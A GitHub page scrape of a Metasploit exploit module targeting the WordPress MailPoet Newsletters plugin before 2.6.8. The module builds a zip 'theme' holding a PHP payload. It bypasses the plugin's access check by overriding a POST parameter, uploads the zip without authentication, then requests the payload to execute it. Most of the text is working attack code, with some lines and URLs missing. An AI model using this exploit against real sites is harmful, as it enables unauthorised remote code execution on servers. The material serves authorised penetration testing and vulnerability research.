Skip to content
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

118 lines (100 sloc) 4.61 KB
# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
functionality to upload a zip file containing the payload. The plugin uses the
admin_init hook, which is also executed for unauthenticated users when accessing
a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
but the fix can be bypassed. In PHP's default configuration,
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
uses $_REQUEST to check for access rights. By setting the POST parameter to
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
the $_GET array to determine the page, so it is not affected by this. The developers
applied the fixes to all previous versions too.
'Author' =>
'Marc-Alexandre Montpas', # initial discovery
'Christian Mehlmauer' # metasploit module
'License' => MSF_LICENSE,
'References' =>
['URL', ''],
['URL', ''],
['URL', ''],
['WPVDB', '6680']
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['wysija-newsletters < 2.6.8', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 1 2014'))
def create_zip_file(theme_name, payload_name)
# the zip file must match the following:
# -) Exactly one folder representing the theme name
# -) A style.css in the theme folder
# -) Additional files in the folder
content = {
::File.join(theme_name, 'style.css') => '',
::File.join(theme_name, payload_name) => payload.encoded
zip_file =
content.each_pair do |name, con|
zip_file.add_file(name, con)
def check
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
def exploit
theme_name = rand_text_alpha(10)
payload_name = "#{rand_text_alpha(10)}.php"
zip_content = create_zip_file(theme_name, payload_name)
data =
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
# this line bypasses the check implemented in version 2.6.7
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("Uploading payload to #{payload_uri}")
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_post,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
'data' => post_data
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
# Files to cleanup (session is dropped in the created folder):
# style.css
# the payload
# the theme folder (manual cleanup)
register_files_for_cleanup('style.css', payload_name)
print_warning("The theme folder #{theme_name} can not be removed. Please delete it manually.")
print_status("Executing payload #{payload_uri}")
'uri' => payload_uri,
'method' => 'GET'
You can’t perform that action at this time.